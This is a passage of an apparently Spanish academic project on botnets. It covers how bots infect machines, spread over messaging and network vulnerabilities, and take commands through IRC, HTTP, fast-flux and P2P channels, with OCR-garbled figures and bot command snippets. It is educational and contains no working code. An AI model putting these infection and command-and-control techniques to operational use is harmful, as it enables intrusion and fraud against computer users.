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1. Introduccion

El titulo y objeto de este proyecto no concluye con una simple definicion, sino que engloba

todo un fendomeno.

Se trata de un término compuesto, que con la simple traduccion al castellano (red-robot),
no expresa mayor relevancia. Pero, ¢a qué tipo de robots se hace mencién en una botnet?

¢ Qué tareas automatiza este robot? ;Qué interés especial supone que conformen una red?

Estas cuestiones seran objeto de estudio en este documento, pero para la situacion del
concepto de botnet y tomar conciencia de las motivaciones que lo promueven, se deberia

empezar por la situacion de sus promotores o creadores.

¢Que ha sido de la imagen del hacker' bien intencionado que investigaba los defectos o
vulnerabilidades de la red, con el objetivo de mejorar la misma a cambio de la fama y el
reconocimiento? ¢;Son estos hackers una raza en peligro de extincién?, o ¢quiza hayan

evolucionado hacia unos objetivos mas oscuros?

Algunos expertos en seguridad han encontrado en los ultimos afios un modelo de
financiacion basado en la venta de servicios, o mejor dicho, en la venta de armas. No todos
se han dejado seducir por el dinero de origen ilicito, sino todo lo contrario, han iniciado

una cruzada contra esta actividad.

Los ciberdelincuentes exhiben sus Gltimas y méas avanzadas armas, llamadas botnet,
expresamente enfocadas al &nimo de lucro por medio de acciones ilegales. Convirtiéndose

estos hackers oscuros en complices o ejecutores de todo tipo de delitos.

! Los programadores informaticos suelen usar las palabras hacking y hacker para expresar admiracion por el

trabajo de un desarrollador de software calificado.
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1. Introduccién

Roban datos, invaden la privacidad de los usuarios, inundan la red y los correos de
contenidos no deseados, bloquean las comunicaciones de las empresas, y asi podriamos
continuar con una larga lista de delitos. Todo ello promovido por un mercado negro o

mafia que financia a estos delincuentes.

La magnitud de los ataques botnet cada vez tiene un mayor protagonismo en lo ya

denominado por algunos expertos en seguridad como “ciberguerra”.

Conscientes de la importancia que estdn alcanzando los sistemas botnet, la principal
motivacion en la realizacién de este proyecto serd profundizar en su estudio, y asi desvelar

las claves en este enfrentamiento.

La red esta plagada de resumidas e incompletas definiciones del término botnet, cada una
de ellas contiene su pequefia verdad y a la vez deja un nuevo frente abierto. Dando lugar a
infinidad de preguntas sin respuesta.

El objetivo es conocer el uso de estas aplicaciones y su actividad, la evolucion de estas
armas refleja la lucha entre ciberdelincuentes y sus contrarios, las empresas y expertos

dedicados a la seguridad informatica.

Apoyado por un ejemplo préctico, este trabajo descubre la compleja composicion de estas
herramientas, sus métodos, sus efectos y su sigilosa pero efectiva fuerza. La puesta en
marcha de una red botnet experimental, permite tomar el papel de uno de estos

ciberdelincuentes al mando de estas herramientas.
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2. Descripcion

Este apartado, es una descripcion de un conjunto de infinitas armas y recursos, todos ellos
pueden conformar un sistema botnet. Para ello se parte de su secuela u origen, éste es el
bot?, al cual a lo largo de los siguientes subapartados se le iran afiadiendo caracteristicas y

funcionalidades, tratando de componer el significado completo de botnet.

2.1. El robot

El término robot se refiere al software o programa informatico, que una vez instalado en un
ordenador, realizara las tareas para las cuales ha sido programado, con total autonomia
respecto al usuario de esa maquina, que ni se percatara del funcionamiento de este

software.

Los bots son muy usuales en sistemas Windows, sin ir mas lejos, cualquier antivirus se
actualiza automaticamente. El cddigo que ejecuta el antivirus comprueba si existen
actualizaciones pendientes e incluso las descarga de manera auténoma, éste es un ejemplo
de bot. Este comportamiento lo ha configurado el usuario durante la instalacién del
antivirus y automatizara la tarea, por lo tanto, en principio siempre actta bajo el control y

la confianza del usuario del equipo.

En el caso del antivirus, el bot ha sido instalado y configurado por y para el usuario del
equipo, pero no siempre es asi, cada vez mas, terceras personas son responsables de la
introduccion de bots en el sistema ajeno sin consentimiento alguno, se trata de bots

maliciosos a veces complices, otras ejecutores, de muchos tipos de actividad ilegal.

Un robot informatico que es programado para establecer un canal de comunicacion con su

creador o promotor dandole acceso remoto, define otro tipo de software malicioso,

2 Bot o robot: aplicacion informética que realiza tareas automatizadas.
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2. Descripcion

conocido como “troyano” o “caballo de Troya”. Este otorga a una tercera persona el

control del equipo.

Sin duda tiene mucho en comdn con los actuales bots, el troyano se podria decir que es el
precedente de botnet, al cual sus creadores le han otorgado nuevas armas y funciones para

hacer mas eficaz y rentable su intrusion.

Los fines de estos intrusos son variados, utilizan los equipos ajenos para el envio de correo
no deseado, robo de informacion personal: informacion bancaria, contrasefias, codigos de

seguridad..., o simplemente incordiar de todas las formas posibles.

Como vemos estos bots trabajan en multitud de sistemas y misiones distintas, ya que no
hay dos victimas exactamente iguales. Sistemas operativos, antivirus y niveles de
seguridad distintos eran en el pasado grandes inconvenientes, pues cada victima debia ser
estudiada y analizada antes de la intrusion para que el ataque surgiera efecto. Ahora
explotando el ataque desde dentro, la mejor caracteristica de estos bots es que son
adaptables. Se basan en médulos de cdigo®, disefiados para descargar otros médulos e
incorporarlos al ataque, con el fin de explotar debilidades especificas que encuentran en su

victima.

El bot inicial explota las vulnerabilidades que encuentra para hacerse con el control de su
destino. Digamos que es un primer médulo el que coloniza el equipo de la victima y se
pone en marcha. Tendré cierta capacidad de analisis, por ejemplo: averiguar el antivirus
instalado en el sistema. A partir de esta informacién el mismo robot serd capaz de
descargar un segundo médulo o cddigo, que se encargara de blindar al bot inicial frente a
ese antivirus en cuestion y asf evitar ser detectado, o quiza detener el firewall* del equipo
para establecer nuevas comunicaciones sin levantar sospechas. El tercer modulo

descargado puede que se encargue de escanear nuevas vulnerabilidades. Y asi procede el

¥ Cédigo de programacion modular: consiste en dividir un programa en médulos o subprogramas con el fin
de hacerlo mas legible, manejable y de sencilla actualizacion.
* Un cortafuegos (firewall en inglés) es una parte de un sistema o una red que esté disefiado para bloquear el

acceso no autorizado.
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avance del bot a esclavizar hasta el Gltimo reducto del sistema, teniendo asi la capacidad de

aprovechar al maximo las vulnerabilidades de cada victima.

Con una sola infeccién la maquina podria estar enviando spam®, capturando y enviando
los datos bancarios del usuario y participando en ataques de denegacion de servicio a

alguna pagina web corporativa.

2.2. Infeccion

Insertar un primer médulo o bot que abra las puertas de la intrusion no es tan sencillo, por
el momento el sistema solo obedece al usuario, y éste es el Unico capaz de ejecutar codigo.
Por lo tanto, el objetivo sera lograr que el usuario ejecute este primer médulo sin percatarse

de los acontecimientos.

Para lograr la infeccion existen infinidad de métodos, sobretodo usando la ingenieria
social, los mas efectivos y conocidos se basan en camuflar el cddigo en un archivo
potencialmente deseable por el usuario, y ponerlo a su alcance, ya sea colgandolo en la red,

enviandolo por correo, etc.

De esta forma cuando el usuario descargue este archivo al ordenador y lo abra, el codigo se
ejecutara en segundo plano para no alertar al usuario de lo que esta sucediendo. Una vez
instalado este primer mddulo el control de la maquina deja de ser competencia exclusiva

del usuario para pasar a someterse al intruso.

Cuando nos referimos a archivos deseables, en caso de ser una victima conocida, seria
sencillo enviar via programa de mensajeria instantanea el archivo infectado, pero cuando

se dirige la infeccidn a victimas desconocidas, el intruso se fija en los archivos con mas

% Spam, correo basura 0 sms basura a los mensajes no solicitados, habitualmente de tipo publicitario,
enviados en grandes cantidades (incluso masivas) que perjudican de alguna o varias maneras al receptor. La

accion de enviar dichos mensajes se denomina spamming.
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movimiento en la red: videos, musica, fotos, software, etc. Ademas la prosperidad de las
redes P2P° contribuye en gran medida a la sencilla y réapida distribucion de estos archivos
y en consecuencia de los bots camuflados que viajan con ellos. Sobre todo en contenidos

multimedia encontraremos la red de distribucion mas grande de estos bots.

Existen otros métodos como la infeccion mediante la visita a una pagina web. En este caso
el usuario decide visitar la web, o quizd esta web es un pop-up’ que se abre
automaticamente, o un enlace dentro de un correo basura,... En estos casos el usuario no
ejecutara el cadigo, sino que aprovechando las vulnerabilidades del navegador, el codigo
malicioso o bot inicial sera ejecutado automaticamente al cargar la pagina web junto con el
codigo HTML?, abriendo asf las puertas al intruso.

El intruso se toma todas estas molestias para alcanzar el maximo nimero de victimas,
claro estd que hay muchos usuarios que aun ejecutan cualquier archivo que caiga en sus

manos, sea cual sea la fuente de origen. Pero por suerte éstos son cada vez menos.

Ademas el camuflaje no solo debe engafiar al usuario, sino también incluye el blindaje de
la imagen o archivo frente a la posible deteccion por parte de cualquier antivirus, ya que

éstos actualmente analizan cualquier archivo recién llegado al sistema.

® Una red peer-to-peer (P2P) o red de pares, es una red de computadoras en la que todos los nodos se
comportan como iguales entre si. P2P es un protocolo muy extendido para la comparticion de archivos entre
usuarios.

" El término denomina a las ventanas que emergen automaticamente (generalmente sin que el usuario lo
solicite) mientras se accede a ciertas paginas web.

® HTML es el lenguaje de programacion predominante para la construccion de paginas web
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El atacante )
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una pagina web normal
(con el iframe)

Usuario

Figura 1: Infeccion mediante exploit en navegador web.

2.3. Lared

¢ Qué es mejor para un intruso que tener un equipo ajeno a su merced?

La respuesta es muy sencilla, mejor que un equipo, son miles de equipos zombi® dispuestos
a cumplir sus deseos. Sobre todo para llevar a cabo ataques de denegacion de servicio, que
basan su poder en el nimero de maquinas que dirigen hacia el objetivo.

La distincidon de botnet respecto del concepto de troyano, seria su enfoque a controlar el
maximo numero de ordenadores con un mismo robot adaptable o modular, mientras en el

pasado el troyano iba dirigido a una sola victima previamente estudiada.

% Se entiende por equipo zombi aquel que forma parte de una red botnet.
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Esto es posible mediante el uso de sistemas de conexion cliente/servidor®® ya en
funcionamiento, el éxito de las redes botnet se basa en utilizar como plataforma de
comunicacién sistemas como servidores de chat, en este caso IRC', o redes P2P, entre
otros. Donde ademas de simplificar los requerimientos del controlador de la botnet, se

encuentra bien camuflada.

La botnet aprovechar asi la arquitectura de redes preestablecidas para su funcionamiento,
y con ella obtendra todas sus ventajas. Como son la comparticién de recursos, la

sincronizacién de operaciones, etc.

2.4. La distribucion

En el apartado de infeccion, se hacia mencion al hecho de distribuir los bots para la
infeccion, mediante el camuflaje de los mismos en archivos o contenidos potencialmente
deseables en la red. Este método es quiza el mas sencillo y extendido, aunque no es el

Unico.

En el mercado donde cotizan las redes botnet, se las valora por la cantidad de ordenadores
zombi que controlan y el beneficio que son capaces de aportar. EI nimero de equipos
infectados es proporcional al dafio que puede causar una botnet. ES por eso que sus
creadores invierten gran parte de sus esfuerzos por no decir todos, en el estudio de nuevos

métodos que faciliten el crecimiento de estas redes.

El crecimiento puede basarse en inundar la red de enlaces a sus archivos infectados. O por

el contrario y mas inteligentemente, a incluir mecanismos de propagacion en los mismos

19 Esta arquitectura consiste basicamente en un cliente que realiza peticiones a otro programa (el servidor)
que le da respuesta.
1 |RC (Internet Relay Chat) es un protocolo de comunicacién en tiempo real basado en texto, que permite

debates entre dos 0 mas personas.
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zombis. Si todo zombi tiene por mision infectar a sus vecinos, el crecimiento hasta ahora

gradual de la red podria convertirse en exponencial.

Por ejemplo, el botmaster™? implementa un nuevo médulo, por el cual en todos los equipos
zombi se enviara un mensaje a través de programas de mensajeria instantnea, en este
ejemplo concreto “MSN Messenger”, a todos los contactos del usuario con una foto,
haciéndose pasar por el usuario del equipo. Hecho esto, todos los contactos del usuario
infectado, al abrir esta imagen seran infectados también, y a su vez estos iniciaran con sus
contactos el mismo proceso, iniciando una cadena de infecciones con un enorme potencial

de crecimiento.

Al igual que en este caso “MSN” es la plataforma de infeccién, podria serlo cualquier
software de comunicaciones, en este caso se eligio “MSN Messenger” por ser el mas
utilizado mundialmente y por ello tener un mayor alcance, pero estos métodos se han
detectado en casi todos los programas de mensajeria instantanea, en mensajes de correo e

incluso recientemente en redes sociales como “Facebook” o “Twiter”.

Este recurso para multiplicarse requiere de la ayuda del usuario, ya sea perteneciendo y
conectandose a redes sociales, como con la comparticion de archivos. Aunque existe una
vertiente en la que el bot es capaz de replicarse con un proceso sin necesidad de la
intervencion de factores externos. El bot esta dotado de un mecanismo de escaneo de red,
mediante un algoritmo genera posibles IPs cercanas a la maquina donde reside, estas IPs
son escaneadas y en caso de recibir respuesta desde una maguina cercana, utiliza

vulnerabilidades en recursos compartidos y servicios de red para realizar la infeccion.

En la Figura 2 se puede observar un ejemplo de como el bot intenta aprovechar
vulnerabilidades por acceso remoto en el servicio LSASS™ sobre el puerto 139/TCP* y
RPC*™-DCOM®™ sobre el puerto 445/TCPY.

12 Botmaster: Duefio de una red botnet, lleva a cabo el comando y control de la misma.
B3 El proceso LSASS (Local Security Authority Subsystem), controla varias tareas de seguridad consideradas

criticas, incluyendo control de acceso y politicas de dominios.
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| Targets | Port | Month | Duration |
192.168.0.%,
}33: } Eg } o0 | H/ep | May 2006 38 min
Random
192.168.0.%,
192.168.1.%, 445/ tcp Jun 2006 31 min
192.168.100.*
192.168.0.%,
192.168.1.%, 445/tcp Jun 2006 2.25 days
10.1.%. %
192.168.0.* 445/ tcp Jul 2006 i min
Local net 445/tcp Sep 2006 11 min
Local net 445/ tcp Sep 2006 2h & min
Local net 13%tcp Sep 2006 13 min
Local net 445/ tcp Sep 2006 12 min
Local net 13%tcp Sep 2006 2 h 44 min
Random 139/tcp Oct 2006 1 h 3 min
Random 445/ tcp Oct 2006 24 min
Random 445/ tcp Oct 2006 | 34 h 24 min
Random 139/tcp Oct 2006 2.33 days
Random 13%tcp Oct 2006 6.75 days
Random 13%tcp Oct 2006 3.25 days
Random 139/ tcp Oct 2006 19 h 8 min
Random 13%tcp Oct 2006 | 23 h 33 mun
Random 13%tcp | Nov 2006 2 h 10 min
Random 13%tcp | Nov 2006 ¥ h 7T min
Random 13%tcp | Dec 2006 7 h 6 min
Random 139/tcp Dec 2006 26 min
Random 13%tcp | June 2007 34 min

Figura 2: Mecanismo automatizado de infeccién.

% TCP (Transmission-Control-Protocol, en espafiol Protocolo de Control de Transmision) es uno de los
protocolos fundamentales en Internet.

> | lamada de Procedimiento Remoto, es un protocolo utilizado por Windows, que proporciona un mecanismo de
comunicacion entre procesos internos, y que permite que un programa ejecutandose en una computadora pueda acceder a
los servicios de otra, de manera transparente para el usuario.

18 Modelo de Objeto Componente Distribuido) es un protocolo que nos muestra un conjunto de interfaces que permiten a
los clientes y servidores comunicarse entre si.

7 Un atacante que tenga éxito en aprovecharse de estas vulnerabilidades, podria ejecutar un cédigo capaz de tener todos

los privilegios del sistema local de un sistema afectado.
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3. Command & Control

Al extenderse el uso de software antivirus y firewall en los hogares ya no era efectivo el
uso de conexiones cliente/servidor de los antiguos troyanos para la comunicacion del bot
con su duefio. Eran efectos del contraataque por parte de los hackers honestos,

profesionales de la seguridad informatica al servicio de las compafiias de antivirus.

El trabajo de las empresas desarrolladoras de antivirus obligd a perfeccionar los bots o
troyanos creados por los ciberdelincuentes, sobretodo sus mecanismos de camuflaje
durante la infeccion. Teniendo que modificar sus armas para que el antivirus no las

detectara.

Con este objetivo, minimizar la posibilidad de deteccidn, los mecanismos de comunicacion
entre los bots y su duefio han tenido que evolucionar, hallando cobijo y liberandose de toda
sospecha, entre las conexiones de servicios de uso normal en el sistema, evitando asi la
deteccion por establecimiento de conexiones nuevas. El uso de redes de servicios ya
existentes para sus comunicaciones, como introducia el apartado 2.3. Ha mantenido su
evolucion, utilizando como plataforma de comunicaciones redes ya establecidas mediante

protocolos™® 100% fiables para cualquier cortafuegos, como: HTTP*, IRC o P2P.

Otra de las marcas en la evolucién de los sistemas de C&C?® hacia el uso de redes y
servidores preestablecidos, viene dada por el gran nimero de maquinas controladas en una
red botnet. Con la infeccion de miles de maquinas, los recursos del botmaster soportando

tantas conexiones simultaneas se agotarian, la maquina del botmaster finalmente se

18 Un protocolo es un conjunto de reglas usadas por computadoras para comunicarse unas con otras a través
de una red.

9 El protocolo de transferencia de hipertexto (HTTP, HyperText Transfer Protocol) es el protocolo usado en
cada transaccion de la Web.

2 Command&Control: Referido al commando y control de una red botnet o troyano.
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bloquearia como si de un ataque DDOS? se tratara. Por eso, esta carga en los recursos, es
soportada actualmente por los servidores de la red ocupada y no por el equipo del
botmaster. Gracias al uso como plataformas de comunicacion de estos servidores y
protocolos ya en funcionamiento (IRC, P2P,...), el ancho de banda y recursos del

botmaster, no tienen por qué ser proporcionales al tamafio de la red controlada.

Poniendo como ejemplo un servidor IRC, se ve claramente los escasos recursos necesarios
para el control de una botnet. En un servidor IRC normalmente se ofrece un servicio de
chat, el intruso crea un canal protegido con contrasefia dentro del servidor, al cual solo
tienen acceso sus bots y él mismo como administrador, y es mediante ese chat que

comunicaré los comandos a ejecutar a los equipos zombi.

3.1. Arquitectura C&C centralizado

El servidor de IRC es el que soportara las miles de conexiones y no la méquina del intruso,
y ademas estas comunicaciones seran bajo un protocolo confiable por defecto en cualquier

maquina defendida con antivirus y firewall.

El mecanismo de comando y control basado en IRC es de caracter centralizado, muy
efectivo en cuanto a sincronizacion de los ataques, aunque también supone un punto debil,
ya que detectando y deshabilitando el servidor de IRC se esta desarticulando por completo
la botnet. Es por eso que en su trayectoria de evolucion, el nuevo enfogque de botnet migra
hacia la descentralizacion de estos sistemas de comando y control, haciendo de la botnet

una red mas robusta.

2! |os ataques DDOS dejan incomunicado el equipo informatico victima, mediante el envié de gran cantidad

de solicitudes hasta que ésta sea incapaz de procesarlas.
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botmaster

Figura 3: Estructura C&C centralizado.

Como modelo de red centralizado, una red botnet basada en IRC mantiene una

comunicacion directa con su botmaster a la espera de sus drdenes.

3.1.1. Push style

El método push style se identifica principalmente en botnets basadas en IRC, son las méas
comunes bajo esta arquitectura. Métodos centralizados de C&C en los cuales los comandos

son enviados a los zombis.

Conocer el funcionamiento de las botnets IRC situara el concepto de C&C centralizado de

forma clara.

Analizando el proceso de comunicacion en IRC botnet, los bots se conectan a una canal
mediante Internet Relay Chat y permanecen a la espera de la conversacion unicamente del

botmaster, el cual mediante ese mismo canal enviara los comandos ya sea en mensajes
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masivos a todos los bots del tipo TOPIC* o via mensaje privado para el control de las
maquinas una a una(IRC PRIVMSG?®), los bots entienden inmediatamente las tareas, las
ejecutan y contestan en el mismo canal con el estado del proceso y el resultado una vez

finalizada la tarea.

Para la entrada al canal, tanto el botmaster como sus zombis se identifican con 3 claves,
una que les da entrada al servidor IRC, otra para conectarse al canal de chat y otra para

desencriptar el cifrado del mensaje y entender las érdenes recibidas.

El uso de IRC como plataforma de comando y control estd lleno de virtudes entorno al
manejo y posibilidades de estas redes zombis, ya que la inmediata recepcion de las 6rdenes
permite al atacante, tanto sincronizar ataques de denegacion de servicio mas efectivos,
como el control en todo momento del tamafio de la botnet, estando controlada en un solo

canal.
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Figura 4: Comando bot.info en IRC botnet, zombis envian informacion del sistema.

Pero se ha comprobado que el beneficio de IRC como sistema de C&C, también ha llegado
a ser su perdicion, pues la botnet corre sobre un protocolo conocido y comun a todos sus
usuarios. Con este conocimiento previo se facilita su analisis, de manera que mediante la

captura de trafico en los servidores de IRC es posible detectar facilmente la actividad

%2 Mensaje TOPIC es el que va dirigido a todos los usuarios conectados al canal de IRC.

2 PRIVMSG mensaje que va dirigido a un solo usuario del canal IRC.
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zombi, identificar maquinas infectadas o incluso desmantelar un canal de C&C, canal que

representa el Unico punto de enlace entre botmaster y sus zombis, esto conlleva el fin de la

botnet. Deduciendo que su caracter centralizado se convierte en su mayor debilidad.

Ademas bajo el cddigo IRC, cualquier usuario infectado puede mediante el anlisis de
trafico o el estudio del cddigo del bot, averiguar las direcciones IP de todos los servidores

C&C de la botnet a la que pertenece, conocer las claves de autentificacion e incluso llegar

a suplantar al botmaster, haciéndose con el control de la red zombi.

Con el tiempo, el uso de botnet basado en sistemas IRC se vio al descubierto, la aparicion
de aplicaciones para detectar y desarticular este tipo de botnet basandose en los patrones de

trafico disipd su uso.

Una de las principales caracteristicas del protocolo IRC es el uso de puertos® especificos,

como son del 6665 al 6669. Sabiendo esto, cualquier firewall puede bloquear estos puertos

bot

-

IRC C&C server

Jogin user passward

Password accepted

botabout

Phatbotd (Alpha 1) "Release” on "Windz"®

bat.sysinfo

CPLL was TEME aae D50 s aen

Scan.start

CSendFile{0xd6EA6AZEN): Transfer to XXX finisheg

Figura 5: Comunicaciones de comando y control en botnet basado en IRC.
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sin afectar a ninguna otra aplicacion del equipo y deshabilitando con efectividad las

comunicaciones de un posible bot.

Las aplicaciones antivirus ganaban la batalla por el momento. Hasta la llegada de botnet
basado en HTTP.

Con este motivo surgieron principalmente los primeros botnet basados en HTTP, los cuales
utilizaban el puerto 80 para sus comunicaciones, camuflando su trafico entre el de

cualquier navegador.

3.1.2. Pull style

Los servidores IRC se ven sustituidos por servidores web, y el sistema migra a una
metodologia basada en pull style, donde los zombis son los encargados de descargarse los
comandos previamente colgados por el botmaster en servidores web comprometidos
(Véase Figura 6). Esto evita que como pasaba en el caso de IRC, cualquier maquina
infectada pudiera conocer la IP y la ubicacion del resto de maquinas conectadas en aquel

momento, ocultando también el tamafio de la botnet.
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C&C

Server
command (IRC)

Bots | fesponige TR S Bot Master
Wi

command ——p- EES
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C&C
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commar """"""------..L{HTI-P} Bot Master

BDtS " B Em " BN
What's current command? E ‘_ﬂ
@] o > "l

command

‘-_a'}fhat's current command?

(Ily C&C: Pull style

Figura 6: Métodos distribucién de 6rdenes.

Pero trabajando con HTTP los botmaster conservan el peor de sus defectos, el que puede
robarles por completo el control de su red zombi, el servidor C&C centralizado. Todo

botmaster busca el anonimato y con un control centralizado estd muy cerca de perderlo.

Todo bot se conecta a uno o varios servidores para descargar el cddigo a ejecutar, resulta
muy sencillo identificarlos, y siendo deshabilitados se perderia todo control sobre la red
botnet.

Llegado este punto, con el sistema pull para la distribucion de comandos de control,

identificar el tamafio y miembros de la red zombi se convierte en una tarea de gran
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dificultad para los posibles atacantes. La siguiente meta para los disefiadores de botnet, fue

la de ocultar tras Proxy® los servidores de C&C.

Normal Network Fast-Flux Network

2)
GET redirected

& Response
< returned
"mothership”

rombie..

www example.com home flux. example.com

4 .

1) Response content 1) Response content
Host: www . example.com === Host: flux.example.com =7y
HTTP GET / HTTP GET / o

client client

Web Request Comparison

Figura 7: Uso de fast-flux en redes botnet.

3.1.3. Fast-flux (single-flux, double-flux)

El uso de un Proxy no era por si solo la solucién a sus problemas, fue el uso de DNS lo que
hizo ganar en robustez al sistema. Asi se introdujo el uso de Fast-flux (Figura 9) en la
arquitectura botnet.

% Un proxy permite a otros equipos conectarse a una red de forma indirecta a través de él. Cuando un equipo
de la red desea acceder a una informacion o recurso, es realmente el proxy quien realiza la comunicacion y a

continuacion traslada el resultado al equipo inicial.


http://www.honeynet.org/node/133
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Fast-flux es una técnica para el uso de miembros de la misma botnet como Proxy en las
comunicaciones entre bots y servidores de C&C, con el fin de ocultarlos y asi no sean tan

vulnerables en un sistema de control centralizado.

Interponiendo asi algunos obstaculos en el camino de los atacantes que intenten averiguar
el origen real de los comandos de control. Fast-flux se encarga de que dichos obstaculos

varien constantemente evitando el rastreo a través de los mismos.

Fast-flux mantiene un ciclo de constantes cambios en la asignacion de nombre de
dominio®, de tal forma que el bot se conecta a multiples direcciones IP que van
intercambiandose bajo un TTL? muy corto, estas direcciones pertenecen a otros bots, éstos
actuaran como repetidores, enviando el contenido al punto de control real, conocido como

mothership.

Este método se conoce como single-flux, y mediante su variante double-flux (Figura 10) no
tan solo se modifica el registro A del DNS? para cambiar las IP a las que apunta, sino
también los registros NS, cambiando asi los servidores autorizados por uno que forme
parte de la misma botnet. Logrando que la consulta DNS sea respondida por un miembro

de la botnet.

2 El proposito principal de los nombres de dominio en internet y del sistema de nombres de dominio (DNS),
es traducir las direcciones IP de cada modo activo en la red, a términos memorizables y faciles de encontrar.
Esta abstraccion hace posible que cualquier servicio (de red) pueda moverse de un lugar geografico a otro en
la red internet, aun cuando el cambio implique que tendra una direccion IP diferente.

27 TTL: Time to live o tiempo de vida.

%8 Registros DNS: A = Address — (Direccién) Este registro se usa para traducir nombres de hosts a
direcciones IPv4. NS = Name Server — (Servidor de Nombres) Define la asociacion que existe entre un

nombre de dominio y los servidores de nombres que almacenan la informacién de dicho dominio.
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Single-Flux
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DNS Resolution Comparison

La defensa ante este tipo de sistemas ya no se trata tan solo del blogueo de direcciones IP,
pues una botnet puede contener tantas asignaciones de nombre de dominio como bots. La
unica forma de detenerlo seria borrar a nivel de registro el nombre de dominio. Por
desgracia, esto se convierte en una tarea complicada, requiere mucho tiempo y esfuerzo,

especialmente si se tiene en cuenta que no todas las entidades registradoras de nombres de

Figura 8: single-flux y double-flux.

dominio atienden a las denuncias por abuso.

3.2. Arquitectura C&C descentralizado

A finales de abril del 2006 fue advertida por la comunidad anti-virus/malware la existencia

de Nugache®

2% Nugache, primer botnet basado en tecnologia P2P.

. Se trataba de una botnet facil de detectar y deshabilitar, ya que dependia de
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una limitada lista de servidores y sus conexiones salientes eran siempre a traves del puerto
8 TCP.

A principios de septiembre de 2007 se lleva a cabo la detencion del autor de Nugache. Pero
con ella no acaba el dafio realizado por esta red, pues Nugache ha sido la primera red
botnet puesta en funcionamiento basada en P2P para su C&C pero no serd la Gltima.

Lo realmente preocupante era el precedente que sembraba Nugache, pues si su autor
compartia con el resto de la comunidad las bases de su obra, muchos seguirian sus pasos
dando pie a la aparicion de nuevos y mas sofisticados sistemas botnet, con sus deficiencias

corregidas y funcionalidades afadidas.

Con el fin de entender la aportacién de la arquitectura P2P a las redes botnet iniciaremos
una breve descripcion de la misma, marcando sus caracteristicas mas notables vy

diferenciando los diferentes tipos segun su estructura.

Figura 9: Estructura C&C descentralizado.
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3.2.1. Redes P2P

Una botnet P2P representa un sistema mas robusto que los utilizados hasta el momento,
pues sobre la teoria, una red botnet basada en P2P no se puede interrumpir por completo,
como mucho se puede irrumpir en las comunicaciones de algunos nodos, aun asi solo se
estd deteniendo una parte de la red. EI comando y control de la misma se realiza de forma

totalmente descentraliza, las érdenes llegan a través de cualquier nodo de la red.

En una red P2P los bots realizan peticiones en base a un logaritmo solo conocido por su
botmaster, de esta forma puede anticiparse generando el archivo, lo colocara en uno o
varios nodos de la red y segun lleguen las peticiones de sus semejantes se distribuira dicho

archivo.

Redes P2P no estructuradas

Cuando en una red P2P no existe ninguna relacion especifica entre nodos y contenidos,
para la busqueda de un archivo se envia la peticion a todos los nodos a través de la red

(flood). Es el caso de las llamadas redes P2P no estructuradas.

El funcionamiento 6ptimo de este tipo de arquitectura P2P se basa en que los contenidos
sean mayoritarios, que un gran nimero de nodos compartan el archivo, pero cuando el
contenido es minoritario el efecto del flood® incrementa muchisimo el trafico en la red,

reduciendo la eficiencia de la busqueda.

% Flood es un término en inglés que significa literalmente inundacion. Se usa en la jerga informética para
designar un comportamiento abusivo de la red de comunicaciones, normalmente por la repeticion

desmesurada de algun mensaje en un corto espacio de tiempo.
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Redes P2P estructuradas

En las redes P2P estructuradas todo contenido esta asociado con el nodo que lo almacena.
De manera que la busqueda de cualquier archivo por raro y minoritario que sea, dara

buenos resultados.
La herramienta mas utilizada en este tipo de redes son las tablas de hash distribuidas®,

ideadas para localizar los nodos donde se encuentran los archivos deseados con mayor

rapidez.

3.2.2. La idea de una red descentralizada

La Figura 10 incluye la evolucion en sus inicios de las redes P2P en relacién a los

primeros bots.

31 Hash se refiere a una funcién o método para generar claves o llaves que representen de manera casi
univoca a un documento, registro, archivo, etc., resumir o identificar un dato a través de la probabilidad,

utilizando una funcién hash o algoritmo hash. Un hash es el resultado de dicha funcién o algoritmo.
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Date Name Type Distinguishing Description

12/1993 EggDrop Non-Malicious Bot  Recognized as early popular non-malicious IRC bot
04/1998 GTbot Variants Malicious Bot IR.C bot based on mIE.C executables and scripts
05/1999 MNapster Peer-to-Peer First widely used hybrid central and peer-to-peer service
11/1999 Direct Connect Peer-to-Peer Variation of Wapster hybrid model

03/2000 Gautella Peer-to-Peer First decentralized peer-to-peer protocol

09,2000 eDonkey Peer-to-Peer Used checksum directory lockup for file resources
03/2001 Fast Track Peer-to-Peer Use of supemeodes within the peer-to-peer architecture
05/2001 WinMX Peer-to-Peer FProprietary protocol simular to FastTrack

06/2001 Ares Peer-to-Peer Has ability to penetrate NATs with UDP punching
07/2001 BitTorrent Peer-to-Peer Uses bandwidth currency to foster quick downloads
04,2002 SDbeot Variants Malicious Bot Provided own IRC client for better efficiency

1072002 Agobot Variants Malicious Bot Incredibly robust. flexible, and modular design
04/2003 Spybot Varants Malicious Bot Extensive feature set based on Agobot

05/2003 WASTE Peer-to-Peer Small VPN-style network with ESA public keys
09/2003 Sinit Malicious Bot Peer-to-peer bot using random scanning to find peers
11/2003 Eademlia Peer-to-Peer Uses distributed hash tables for decentralized architecture
03/2004 Phatbot Malicious Bot Peer-to-peer bot based on WASTE

03/2006 SpamThru Malicious Bot FPeer-to-peer bot using custom protocol for backup
04/2006 MNugache Malicious Bot Peer-to-peer bot connecting to predefined peers
01,2007 Peacomm Malicious Bot Peer-to-peer bot based on Kademlia

Figura 10: Evolucién de protocolos P2P y bots.

EggDrop® es uno de los bots mas populares en IRC, por su gran capacidad de
automatizacion de tareas y las innovadoras funcionalidades que incluia, como jugar a
juegos, transferencia de archivos, etc.

Napster®® fue el primer sistema P2P centralizado. Permitia compartir musica con el resto
de miembros de la red. Se basaba en un servidor centralizado que almacenaba los indices
de contenido disponibles en las maquinas de los usuarios. Las busquedas iban dirigidas a
este servidor que daba la localizacion del archivo musical requerido para iniciar la

descarga.

%2 Eggdrop, bot basado en IRC
%3 Napster fue un servicio de distribucién de archivos de msica (en formato MP3) Uno de los pioneros de las

redes P2P de intercambio creado por Shawn Fanning.
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Durante el uso de redes centralizadas y no estructuradas, los servidores contenian indices
de contenidos que los convertian en claros complices del delito de violacion de derechos de
autor, y se veian en un breve espacio de tiempo, clausurados y denunciados por las

instituciones defensoras de estos derechos.

Gnutella® fue la primera red P2P descentralizada. Aunque se trataba de P2P no
estructurado, pronto nuevos protocolos como Kademlia®, se iniciarfan en el uso de tablas

de hash para mejorar la eficiencia de las busquedas.

3.2.3. Kademlia, como protocolo P2P mas popular

Kademlia es un protocolo de la capa de aplicacion® disefiado para redes P2P
descentralizadas. Los nodos se comunican entre si usando el protocolo sin conexion
UDP?¥. Con Kademlia se crea una nueva red virtual sobre Internet, en la cual cada nodo de
la red es identificado por un nimero (ID del Nodo).

Kademlia es un protocolo que no requiere servidores. Todos los nodos hacen la funcién
